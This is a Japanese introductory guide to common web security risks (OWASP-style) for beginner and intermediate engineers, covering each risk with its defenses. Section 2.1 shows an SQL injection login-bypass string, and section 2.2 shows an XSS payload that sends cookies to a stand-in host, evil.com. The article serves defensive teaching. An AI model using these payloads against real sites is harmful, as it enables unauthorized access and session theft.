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Webエンジニアが最低限知っておきたいセキュリティリスク|初心者・中級者向け実践ガイド


はじめに

Webエンジニアとして働く上で「セキュリティの知識」は避けて通れません。
どんなに見栄えの良いサイトや高機能なアプリを作っても、セキュリティが脆弱であればユーザー情報が流出したり、システムが乗っ取られたりする危険性があります。実際、セキュリティ事故は日々ニュースになっており、企業の信用や事業継続に直結する重大なリスクです。

「セキュリティは上級者になってから」と考える人も多いですが、初心者・中級者の段階から意識しておかないと、間違った実装を習慣化してしまい、後から修正が困難になることもあります。

この記事では、初心者〜中級者のWebエンジニアが最低限理解しておくべきセキュリティリスク を、攻撃の仕組みと具体例、そして防御方法までわかりやすく解説します。


1. セキュリティリスクの基本

脆弱性とは

脆弱性(ぜいじゃくせい)とは、ソフトウェアやシステムに存在するセキュリティ上の欠陥のことです。攻撃者はこれを悪用してシステムに侵入したり、不正操作を行います。

攻撃者の目的

  • ユーザーの個人情報やクレジットカード情報を盗む
  • サイトを改ざんし、フィッシングやマルウェア配布に利用する
  • サービスを妨害し、金銭を要求する(DDoS攻撃+ランサムウェアなど)

OWASP Top 10

国際的な非営利団体OWASP(Open Web Application Security Project)は、Webアプリにおける代表的なリスクを「Top 10」として定期的に発表しています。
この中でも特に「初心者がまず理解すべきもの」を中心に解説していきます。


2. 初心者がまず理解すべき代表的なセキュリティリスク

2.1 SQLインジェクション(SQL Injection)

概要
ユーザー入力がそのままSQL文に組み込まれることで、不正なクエリが実行されてしまう攻撃。


ログインフォームに

' OR '1'='1

と入力すると、認証をすり抜けて全員ログインできてしまう。

リスク

  • ユーザー情報やパスワードが流出
  • データベースが改ざん・削除される

対策

  • プリペアドステートメントを必ず使用
  • ORM(Eloquent、ActiveRecordなど)の利用
  • 入力値をエスケープ

2.2 クロスサイトスクリプティング(XSS)

概要
入力フォームやURLにスクリプトを仕込まれる攻撃。


掲示板に以下を投稿される:

<script>document.location='http://evil.com?cookie='+document.cookie</script>

リスク

  • Cookieが盗まれて不正ログイン
  • 偽フォームを表示してフィッシング

対策

  • 出力時のエスケープ(HTMLエスケープ)
  • CSP(Content Security Policy)の設定
  • HTMLタグやスクリプトをフィルタリング

2.3 クロスサイトリクエストフォージェリ(CSRF)

概要
正規ユーザーがログイン中に、悪意あるサイトから不正リクエストを送らされる攻撃。


ユーザーがログイン中の銀行サイトに対し、攻撃サイトから「不正送金リクエスト」が自動的に送られる。

リスク

  • 勝手に振込や購入が実行される

対策

  • CSRFトークンを導入
  • Cookieに SameSite 属性を設定
  • 重要操作には再認証を要求

2.4 セッションハイジャック

概要
セッションIDを盗み、不正にログイン状態を乗っ取る攻撃。

リスク

  • なりすましログイン
  • 個人情報やクレジットカード情報の不正利用

対策

  • HTTPSを利用して通信を暗号化
  • セッションIDを推測困難にする
  • ログアウト時にセッションを破棄

2.5 認証・認可の不備

概要

  • 認証:ユーザーが誰か確認する仕組み
  • 認可:そのユーザーが何をできるか管理する仕組み

これが適切でないと「管理者機能を一般ユーザーが使える」などの事故が起きる。

対策

  • サーバーサイドで必ず権限をチェック
  • URLやクライアント側だけで制御しない

2.6 パスワード管理の不備

問題例

  • パスワードを平文保存
  • MD5など弱いハッシュで保存

対策

  • bcryptやargon2を利用
  • ソルトを加えてハッシュ化
  • パスワードリセット機能を安全に実装

2.7 ファイルアップロードの脆弱性

概要
画像アップロード機能を悪用され、実行可能なファイルをサーバーに仕込まれる。

対策

  • 拡張子チェックとMIMEタイプ検証
  • アップロードファイルを別サーバーに保存
  • 実行権限を付与しない

3. 実務で意識すべきセキュリティリスク

  • HTTPS未対応 → 通信内容が盗聴される
  • エラーメッセージに内部情報を出す → SQL文やサーバー構成が漏れる
  • ライブラリの脆弱性放置 → 古いjQueryや未更新のLaravelを使い続ける危険
  • APIの脆弱性 → 無制限アクセス、認証不足で情報漏洩
  • クラウド設定ミス → S3バケットやFirebaseが公開されてしまう事故

4. セキュリティ対策の基本姿勢

  1. 入力は信頼しない
    すべてのユーザー入力は不正を疑って検証する。
  2. サーバー側で必ず検証
    クライアント側のJavaScriptだけに頼らない。
  3. 最小権限の原則
    不要な権限は付与しない。DBユーザーにALL権限を与えない。
  4. 定期的なアップデート
    フレームワークやライブラリは最新に保つ。

5. 初心者が実践できる学習方法

  • OWASP Juice Shop:脆弱なアプリを題材に攻撃を体験できる
  • CTF(Capture The Flag)入門:初心者向けセキュリティ演習
  • 書籍:「体系的に学ぶ 安全なWebアプリケーションの作り方」
  • GitHubでPRを読む:セキュリティ修正の内容を学習

まとめ

Webエンジニアにとってセキュリティは「後で学ぶもの」ではなく、最初から意識すべき基礎スキルです。
初心者はまず SQLインジェクション・XSS・CSRF・セッション管理・認証/認可 といった代表的なリスクを理解し、基本的な対策を習慣化することが重要です。

セキュリティは「知識」だけでなく「習慣」です。毎日の開発で少しずつ意識を積み重ねることで、堅牢なアプリケーションを作れるエンジニアへと成長できます。


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